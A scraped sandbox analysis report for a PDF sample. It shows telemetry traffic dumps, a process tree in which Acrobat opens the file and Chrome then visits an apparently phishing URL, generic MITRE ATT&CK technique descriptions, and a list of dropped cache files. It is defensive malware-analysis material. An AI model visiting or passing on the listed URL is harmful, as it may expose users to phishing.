2024-10-24 06:51:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49917	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:16 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:16 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 10ca92f3-d01e-008e-1b31-22387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065116Z-16849878b7842t5ke0k7mzbt3c000000075000000000asfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:16 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	02:49:52
Start date:	24/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\VM2ICvV5qQ.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:49:53
Start date:	24/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:49:54
Start date:	24/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1576,i,17576929266965801877,15337024028248094855,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:50:18
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "http://ukraine.html-5.me/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:50:20
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1948,i,13345882989207560503,15926659493507992015,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VM2ICvV5qQ.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\44a194f3-db0c-47b3-8eba-f6b5138aaa55.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241024064958Z-160.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Windows Analysis Report
VM2ICvV5qQ.pdf